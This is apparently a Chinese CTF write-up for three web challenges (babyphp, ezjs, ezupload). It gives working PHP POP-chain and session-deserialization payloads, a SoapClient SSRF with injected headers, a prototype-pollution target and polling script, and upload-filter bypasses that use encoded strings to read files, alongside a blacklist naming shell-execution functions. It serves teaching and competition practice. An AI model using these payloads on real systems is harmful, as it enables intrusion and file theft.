babyphp
session反序列化
SSRF
原生类
CSRF
fastdestruct
0x01 就是session反序列化搭配原生类进行ssrf
index.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 <?php class A { public $a ; public $b ; public function __wakeup ( ) { $this ->a = "babyhacker" ; } public function __invoke ( ) { if (isset ($this ->a) && $this ->a == md5 ($this ->a)) { $this ->b->uwant (); } } } class B { public $a ; public $b ; public $k ; function __destruct ( ) { $this ->b = $this ->k; die ($this ->a); } } class C { public $a ; public $c ; public function __toString ( ) { $cc = $this ->c; return $cc (); } public function uwant ( ) { if ($this ->a == "phpinfo" ) { phpinfo (); } else { call_user_func (array (reset ($_SESSION ), $this ->a)); } } } if (isset ($_GET ['d0g3' ])) { ini_set ($_GET ['baby' ], $_GET ['d0g3' ]); session_start (); $_SESSION ['sess' ] = $_POST ['sess' ]; } else { session_start (); if (isset ($_POST ["pop" ])) { unserialize ($_POST ["pop" ]); } } var_dump ($_SESSION );highlight_file (__FILE__ );
flag.php
1 2 3 4 5 6 7 8 9 10 <?php session_start ();highlight_file (__FILE__ );if ($_SERVER ["REMOTE_ADDR" ]==="127.0.0.1" ){ $f1ag =implode (array (new $_GET ['a' ]($_GET ['b' ]))); $_SESSION ["F1AG" ]= $f1ag ; }else { echo "only localhost!!" ; }
查看phpinfo的pop
这里使用fastdestruct来使destruct在__wakeup
前执行,就能绕过
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 <?php class A { public $a ; public $b ; } class B { public $a ; public $b ; public $k ; } class C { public $a ; public $c ; } $a =new A;$b =new B;$c =new C;$b ->a=$c ;$a ->a='0e215962017' ; $a ->b=$c ;$c ->a='phpinfo' ;$c ->c=$a ;echo serialize ($b );
payload:
1 pop=O:1:"B":3:{s:1:"a";O:1:"C":2:{s:1:"a";s:7:"phpinfo";s:1:"c";O:1:"A":2:{s:1:"a";s:11:"0e215962017";s:1:"b";r:2;}}s:1:"b";N;s:1:"k";N;
0x02 session反序列化 如何ssrf 可以在类中看到调用call_user_func(array(reset($_SESSION), $this->a))
这里call_user_func的用法,就是执行类中的静态函数或者一个对象的方法
如果我们要ssrf访问flag.php,我们就使用原生类SoapClient
该内置类有一个 __call
方法,当 __call
方法被触发后,它可以发送 HTTP 和 HTTPS 请求。正是这个 __call
方法,使得 SoapClient 类可以被我们运用在 SSRF 中。SoapClient 这个类也算是目前被挖掘出来最好用的一个内置类。
同时__call
的触发方法就是在调用这个对象不存在的一个方法时触发,刚好符合我们的需求
CSRF 在SoapClient
里有个user_agent
参数,可以使用我们自己设置的header,可以使用CSRF来达到大部分http头我们可控
经过测试,要打ssrf成功需要同时存在两个头
PHPSESSID要一致
1 2 'X-Forwarded-For: 127.0.0.1', 'Cookie: PHPSESSID=kod01dgtpdrd999ms9vqa8l5hl'
原生类 ssrf后我们可以看到有
1 implode (array (new $_GET ['a' ]($_GET ['b' ])));
这里使用php原生类配合glob协议进行目录遍历和读取文件内容,依靠的是触发他们的__toString()
魔术方法
1 2 3 <?php new DirectoryIterator ("glob:///*f*" );new SplFileObject ('/flag' );
构造session反序列化 在代码中可以看到有一下代码
1 ini_set ($_GET ['baby' ], $_GET ['d0g3' ]);
因为session有多种不同的序列化引擎,利用这种不同点,来造成反序列化
1 2 3 php_binary:存储方式是,键名的长度对应的ASCII字符+键名+经过serialize()函数序列化处理的值 php:存储方式是,键名+竖线+经过serialize()函数序列处理的值 php_serialize(php>5.5.4):存储方式是,经过serialize()函数序列化处理的值
1 当会话自动开始或者通过 session_start() 手动开始的时候, PHP 内部会调用会话管理器的 open 和 read 回调函数。通过 read 回调函数返回的现有会话数据(使用特殊的序列化格式存储), PHP 会自动反序列化数据并且填充 $_SESSION 超级全局变量。
题目环境默认是php引擎,我们可以先使用php_serialize引擎,在前面加上|
(竖线)
这样,在使用php引擎的时候,就会把|
(竖线)后面的内容反序列化,并且填充 $_SESSION 超级全局变量。
这样就可以使$_SESSION
里有SoapClient对象了。
其他知识
session_start 函数从 PHP7 开始允许通过参数来设置 session 运行时配置。例如: session_start(array('serialize_handler' => 'php_serialize'))
exp 构造session序列化
1 2 3 4 5 6 7 8 9 10 11 12 13 14 <?php $target ='http://127.0.0.1:80/flag.php?a=SplFileObject&b=/f1111llllllaagg' ; $post_data ='add=111' ;$ua = array ( 'X-Forwarded-For: 127.0.0.1' , 'Cookie: PHPSESSID=kod01dgtpdrd999ms9vqa8l5hl' ); $options = array ( 'location' => $target , 'user_agent' => join ("\r\n" ,$ua ) . "\r\nContent-Length: " . (string ) strlen ($post_data ). "\r\n\r\n" . $post_data , 'uri' =>'v2ish1yan' ); $a =new SoapClient (null ,$options );echo urlencode (serialize ($a ));
1 O%3A10%3A%22SoapClient%22%3A5%3A%7Bs%3A3%3A%22uri%22%3Bs%3A9%3A%22v2ish1yan%22%3Bs%3A8%3A%22location%22%3Bs%3A63%3A%22http%3A%2F%2F127.0.0.1%3A80%2Fflag.php%3Fa%3DSplFileObject%26b%3D%2Ff1111llllllaagg%22%3Bs%3A15%3A%22_stream_context%22%3Bi%3A0%3Bs%3A11%3A%22_user_agent%22%3Bs%3A102%3A%22X-Forwarded-For%3A+127.0.0.1%0D%0ACookie%3A+PHPSESSID%3Dkod01dgtpdrd999ms9vqa8l5hl%0D%0AContent-Length%3A+7%0D%0A%0D%0Aadd%3D111%22%3Bs%3A13%3A%22_soap_version%22%3Bi%3A1%3B%7D
payload
先传这个
1 2 GET: ??d0g3=php_serialize&baby=session.serialize_handler POST: sess=|O%3A10%3A%22SoapClient%22%3A5%3A%7Bs%3A3%3A%22uri%22%3Bs%3A9%3A%22v2ish1yan%22%3Bs%3A8%3A%22location%22%3Bs%3A63%3A%22http%3A%2F%2F127.0.0.1%3A80%2Fflag.php%3Fa%3DSplFileObject%26b%3D%2Ff1111llllllaagg%22%3Bs%3A15%3A%22_stream_context%22%3Bi%3A0%3Bs%3A11%3A%22_user_agent%22%3Bs%3A102%3A%22X-Forwarded-For%3A+127.0.0.1%0D%0ACookie%3A+PHPSESSID%3Dkod01dgtpdrd999ms9vqa8l5hl%0D%0AContent-Length%3A+7%0D%0A%0D%0Aadd%3D111%22%3Bs%3A13%3A%22_soap_version%22%3Bi%3A1%3B%7D
然后再传一个pop,进行反序列化触发SoapClient::__call()
进行ssrf
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 <?php class A { public $a ; public $b ; } class B { public $a ; public $b ; public $k ; } class C { public $a ; public $c ; } $a =new A;$b =new B;$c =new C;$b ->a=$c ;$a ->a='0e215962017' ; $a ->b=$c ;$c ->a='aaaaaa' ;$c ->c=$a ;echo serialize ($b );
payload
1 pop=O:1:"B" :3:{s:1:"a" ;O:1:"C" :2:{s:1:"a" ;s:6:"phpinf" ;s:1:"c" ;O:1:"A" :2:{s:1:"a" ;s:11:"0e215962017" ;s:1:"b" ;r:2;}}s:1:"b" ;N;s:1:"k" ;N;
然后如果成功会响应一段时间,然后再访问题目连接,查看$SESSION
里的flag
相关链接 https://mochazz.github.io/2019/01/29/PHP%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E5%85%A5%E9%97%A8%E4%B9%8Bsession%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96/#PHP%E7%9A%84session%E6%9C%BA%E5%88%B6
http://anquanke.com/post/id/238482
ezjs
直接复制粘贴的别人的公众号
解题思路
页面提示:
1 2 3 4 <!--This secret is 7 characters long for security! hash=md5(secret+"flag");//1946714cfa9deb70cc40bab32872f98a admin cookie is md5(secret+urldecode("flag%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00X%00%00%00%00%00%00%00dog")); -->
联想到哈希拓展长度攻击
然后登录
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 POST /index HTTP/1.1 Host: 47.108.29.107:23333 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6; rv:123.0) Gecko/20100101 Firefox/123.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/jxl,image/webp,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Content-Length: 20 Origin: http://47.108.29.107:23333 Connection: close Referer: http://47.108.29.107:23333/ Cookie: hash=ed63246fb602056fee4a7ec886d0a3c2 Upgrade-Insecure-Requests: 1 pwd=123&userid=Admin
登录成功后提示infoflllllag 页面,访问后得到源代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 var express = require ('express' );var router = express.Router ();const isObject = obj = >obj && obj.constructor && obj.constructor === Object ;const merge = (a, b) = >{ for (var attr in b) { if (isObject (a[attr]) && isObject (b[attr])) { merge (a[attr], b[attr]); } else { a[attr] = b[attr]; } } return a } const clone = (a) = >{ return merge ({}, a); } router.get ('/' , function (req, res, next ) { if (req.flag == "flag" ) { flag; res.send ('flag?????????????' ); } res.render ('info' ); }); router.post ('/' , express.json (), function (req, res ) { var str = req.body .id ; var obj = JSON .parse (str); req.cookies .id = clone (obj); res.render ('info' ); }); module .exports = router;
后面改成了公用环境就去写了个监控脚本,因为一般做的原型链污染的题是第一次构造payload访问进行污染,第二次才是执行。就写了个监控内容的脚本挂着了,分别监控了/,/infoflllllag,/Cookie 。不知道题目错误还是上车了:在/infoflllllag页面弄到了flag
脚本内容:
1 2 3 4 5 6 7 8 9 10 11 12 import requestsurl1 = "http://47.108.29.107:23333/infoflllllag" url2 = "http://47.108.29.107:23333/Cookie" url3 = "http://47.108.29.107:23333/" with open ("/1.txt" , "a" ) as file: while True : talk = requests.get(url1) talk2 = requests.get(url2) talk3 = requests.get(url3) file.write(str (talk.text) + "\n" ) file.write(str (talk2.text) + "\n" ) file.write(str (talk3.text) + "\n" )
监控脚本生成的文件1.txt发群里了,cat 1.txt | grep “D0g3”| more的执行结果:
ezupload
0x00 看了别人的wp,发现只跟他们差一步,就是用转义字符绕过对*的过滤😢
0x01 绕过过滤 在fuzz过程中发现只有php文件能够上传
然后上传php文件,执行phpinfo()可以发现ban了很多函数
但是有个函数没被ban,file_get_contents()
感觉就是留给我们用的
但是这个字符串在后端被过滤,所以要绕一下
因为php7以上就可以使用动态函数,这里有两种方法来绕
0x02 原生类读取文件 可以用file_get_contents获取index.php源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 <?php function waf ($var ): bool { $blacklist = ["\$_" , "eval" ,"copy" ,"assert" ,"usort" ,"include" , "require" , "$" , "^" , "~" , "-" , "%" , "*" ,"file" ,"fopen" ,"fwriter" ,"fput" ,"copy" ,"curl" ,"fread" ,"fget" ,"function_exists" ,"dl" ,"putenv" ,"system" ,"exec" ,"shell_exec" ,"passthru" ,"proc_open" ,"proc_close" , "proc_get_status" ,"checkdnsrr" ,"getmxrr" ,"getservbyname" ,"getservbyport" , "syslog" ,"popen" ,"show_source" ,"highlight_file" ,"`" ,"chmod" ]; foreach ($blacklist as $blackword ){ if (stristr ($var , $blackword )) return True; } return False; } error_reporting (0 );define ("UPLOAD_PATH" , "./uploads" );$msg = "Upload Success!" ;if (isset ($_POST ['submit' ])) {$temp_file = $_FILES ['upload_file' ]['tmp_name' ];$file_name = $_FILES ['upload_file' ]['name' ];$ext = pathinfo ($file_name ,PATHINFO_EXTENSION);if (!preg_match ("/php/i" , strtolower ($ext ))){die ("俺不要图片,熊大" );} $content = file_get_contents ($temp_file );if (waf ($content )){ die ("哎呦你干嘛,小黑子..." ); } $new_file_name = md5 ($file_name )."." .$ext ; $img_path = UPLOAD_PATH . '/' . $new_file_name ; if (move_uploaded_file ($temp_file , $img_path )){ $is_upload = true ; } else { $msg = 'Upload Failed!' ; die (); } echo $msg ." " .$img_path ; }
虽然他过滤了一些东西,但是都是可以绕过的
使用 DirectoryIterator
原生类配合glob协议查找flag文件名
1 2 <?php echo new DirectoryIterator ("\x67\x6c\x6f\x62\x3a\x2f\x2f\x2f\x2a\x66\x2a" );
但是我做题的时候发现glob可以使用?作为通配符,所以还可以这样,得一个个试
1 <?php echo new DirectoryIterator ("glob:///??????????????" );
但是条件就比较苛刻,需要确定flag长度要这么长,否则相同长度可能会匹配到其他的文件名
(比赛的时候也用了这种方法,但是没有坚持下来😢)
然后使用SplFileObject
读取文件
1 <?php echo new ('Spl' .'Fi' .'leObject' )("/fl1111111111ag" );